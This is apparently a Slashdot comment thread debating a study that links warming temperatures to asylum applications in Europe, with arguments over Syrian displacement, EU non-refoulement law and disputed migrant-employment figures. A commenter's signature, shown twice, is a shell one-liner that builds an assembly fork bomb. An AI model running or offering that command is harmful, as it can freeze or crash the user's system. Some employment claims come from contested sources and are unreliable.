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Faced With Rising Temperatures, People May Seek Asylum (axios.com)
Europe is already struggling to absorb an influx of refugees from war-torn Syria, Afghanistan, Iraq, and Africa. Germany alone has taken in more than a million people since 2015. This wave of immigration has led to political upheaval, with the rise of right-wing political parties in Germany, Poland, Austria, and Hungary, among others. Now a new study, published in the journal Science, shows that the current surge in refugees may just be a preview of what's to come due in large part to global warming. From a report: At an average growing season temperature of about 68 Fahrenheit, which is the optimum one for agriculture, the number of applications for asylum was lowest. As the average temperature rose, so did the number of people from Somalia, Bangladesh and other warmer climate countries seeking asylum. But when cooler countries -- such as Serbia and Peru -- got warmer, fewer applications were received. The acceptance rate for asylum application to the EU is less than 10%. But when there was a spike in applications tied to weather fluctuations, the admittance rate rose to about 30%, suggesting agencies who evaluate the applicants find their cause worthy.
That would require someone do a multivariate analysis. And they won't do that because it would show civil war, oppressive governments etc are more strongly correlated to refugee flows than climate.
Actually one big driver was getting rid of people like Gaddafi who stopped migrants coming to Europe. The EU had a deal with Gaddafi. Then France and the UK toppled him and Libya became essentially a failed state.
https://www.theguardian.com/co...
https://en.wikipedia.org/wiki/...
Turkey also uses refugee flows as a foreign policy tool - they turn on the tap when they want more money from Europe.
https://www.euractiv.com/secti...
So how much is climate a cause? Not much. Weather probably does have some impact though - mainly because if you're going to cross the Med or walk across Europe you'd be better off doing when it's not freezing cold. But weather and climate are not the same thing.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Real refugees have 2 primary goals 1) To reach the nearest location where the immediate danger they face is no longer present. 2) To return to their origin as soon as it is safe to do so.
In the case of Syrians, the locations matching those criteria would typically be within Syria itself. They could find safety without ever leaving the country.
I take it you know nothing about the Syrian crisis, then.
What place in Syria is it that you believe is "where the immediate danger they face is no longer present"? The few places within Syria that aren't in a war zone with boundaries that are constantly changing... are jammed to overflowing with the eight million people who are already displaced within Syria; the largest internally displaced population in the world. About six in ten Syrians are now refugees, most of them internally.
http://www.bbc.com/news/world-middle-east-34189117
The US per wikipedia has a total of about 12 million illegal immigrants.
Which were absorbed over a long period of time and who came to work for depressingly low wages. It wasn't 12 million all at once. Many of them have been here literally for decades. The total number of illegal immigrants in the US hasn't risen for about a decade and in fact has declined somewhat from the peak.
Migration has been a relatively minor problem for Europe.
It isn't a minor problem. It's not to the scale justifying any sort of panic but any time you get a million new refugees in a relatively short time frame that creates a lot of very real problems. These people need to be fed, sheltered, to find work and school, etc. This isn't a trivial undertaking by an measure. It's made worse of course by the inevitable racists and xenophobes who want to shut the borders to keep anyone different out.
Starvation is not a very ethical means of contraception. And yet that appears to be what you are advocating.
From your link, the headline:
"Bangladesh’s food production [i.e. in total] dropped by 943,000 tonnes in fiscal 2016-17"
"past year was not warmer weather, but flooding"
Yeh right, flooding, the predicted affect of global warming, so what's your point?
" so why would people be refugees from Bangladesh based on crop yields when they are up"
Because they're hungry, and your attempt to mislead people here by lying doesn't fill their stomachs. I mean really SuperKendall, were you hoping nobody would google the actual stats or read the link you provided?
Don't quote a poem as a source of your national stance. That's just stupid. Stupid also is to let in those who vocally call for the destruction of your country, refuse to assimilate and *become* your neighbor and who actively call for *their* law (you know, from where they came) to replace *your* law.
Ummm... The only problem with this is that now that countries have had the time to process most of the mass that arrived in Europe during 2015, it's become clear that actual refugees only make up a minority of those masses. Massive amounts of people saw an opportunity for a better life in Europe and simply hitched a ride with the actual refugees. Even Sweden, having a reputation of being very welcoming to immigrants, has been rejecting about 70% of all asylum applications and the deportation of immigrants who have finally exhausted all of their options is becoming a bigger and bigger problem across Europe.
Not only is it becoming harder and harder to get the countries to take back all of their citizens, Iraq being particularly difficult, a lot of the immigrants have decided to simply not accept that their asylum application got denied. Instead they've either gone underground, thinking if they stay long enough they can eventually get permanent residence, or have started roving around Europe applying for asylum in multiple countries using false identities (as per the Dublin process if you have your asylum application denied in one country other EU countries will not even consider any further applications by you).
"Why should I want to make anything up? Life's bad enough as it is without wanting to invent any more of it."
EU is just as capable as Turkey at controlling their border so if Turkey tried EU would just close the border to Turkey and then Turkey is fucked.
EU countries all signed up to the ECHR which says
1) They can't just shoot migrants arriving
2) They're not allowed to return them because that would violate the principle of 'non-refoulement'
https://eulawanalysis.blogspot...
Basically, the dogmatic point of departure is simple: the EU principle of non-refoulement is anchored in Article 19(2) of the Charter of Fundamental Rights of the EU, which contains a prohibition to remove, expel or extradite any person to a State where there is a serious risk that he or she would be subjected to the death penalty, torture or other inhuman or degrading treatment or punishment. The Charter should govern the uniform interpretation of the principle of non-refoulement in Union law, both in the Treaties and in secondary legislation (like the Returns Directive and the Qualification Directive). As the prohibition of refoulement is absolute in the ECHR, it should universally be interpreted to be absolute regardless of the legal context of EU law in which it appears. Article 19(2) of the Charter corresponds to Article 3 ECHR, and so must be interpreted the same way (Article 52(3) of the Charter). See the ECtHR ruling in Chahal, and more case law in Kees Wouters, International Legal Standards for the Protection from Refoulement, Intersentia, 2009, p. 307 - 314. The Court of Justice has recognized the absolute nature of the rule in its judgment in Aranyosi (paras 85-87).
https://www.hrw.org/news/2014/...
https://www.yahoo.com/news/eu-...
3) Inside the EU the migrants can claim asylum and even if they are refused they're unlikely to be deported
https://www.express.co.uk/news...
4) The numbers of asylum seekers who are likely to find work is minimal. Of the million plus migrants who arrived in 2016 only 54 found a job
http://www.breitbart.com/londo...
In a survey by the Frankfurter Allgemeiner Zeitung, however, most of the top 30 companies on the German stock exchange (DAX) said they were unable to employ any of the new arrivals. The companies said migrants lacked the necessary qualifications needed to fill any of their roles.
Although the companies surveyed employ four million workers, FAZ reported that between them, they had only hired 54 migrants.
Fifty of these are employed by the German post office, and the vast majority of top German companies hired none at all. Software giant SAP reported having two migrants working for them, and pharmaceutical manufacturer Merck also said they had hired two.
I.e. if Turkey or Libya open the floodgates then there's nothing the EU can do legally to stop large numbers of people being dependent on benefits in the EU indefinitely.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
3) Inside the EU the migrants can claim asylum and even if they are refused they're unlikely to be deported
Using an Anti-EU tabloid as a reference doesn't really help this point here. The fact is while few migrants are deported in figures, that is only because the official figures count people who are forced out using the country's resources. e.g. 580 people were deported from Germany in 2016. While that number is low 55,000 ended up leaving voluntarily after their asylum claim was denied.
Deporting people is expensive so it doesn't happen a lot, so why do people leave voluntarily? Well it's actually damn hard to find even a place to live let alone work as an illegal immigrant in many EU countries, and as soon as your asylum claim is rejected you don't qualify for any state sponsored aid / housing anymore either. Not exactly a good thing when winter comes.
4) The numbers of asylum seekers who are likely to find work is minimal. Of the million plus migrants who arrived in 2016 only 54 found a job
Wow following up an express article with Breitbart. That is class.
Speaking of I was working next to a building in Germany which got converted into temporary accommodation for people who were granted asylum. The building went in about Feb 2016 in quite a damn small town. Of the 50 people in there, more than half of them had a job by the time I left Germany (we shared some services with them including security and catering so chatted to them a bit). I find it amazing that half of the number of that reliable source all came from one little building in one little town in a little corner of Germany. They must be extremely lucky.
It's a shame that Breitbart doesn't have a printed edition, I'm running low on toilet paper.
I.e. if Turkey or Libya open the floodgates then there's nothing the EU can do legally to stop large numbers of people being dependent on benefits in the EU indefinitely.
i.e. you get EU legal advice from far right anti-immigration and anti-EU fake news sources. Shame on you and shame on whoever modded you insightful.
Brietbart is not a reliable source of information.
https://www.bloomberg.com/news...
More than 54 have jobs, and many of the rest are in training to prepare them for work. See, Germany doesn't just invite them in and then ignore them, it deals with the situation actively.
const int one = 65536; (Silvermoon, Texture.cs)
SJW, n: "Someone I don't like, and by the way I'm a fuckwit" - AC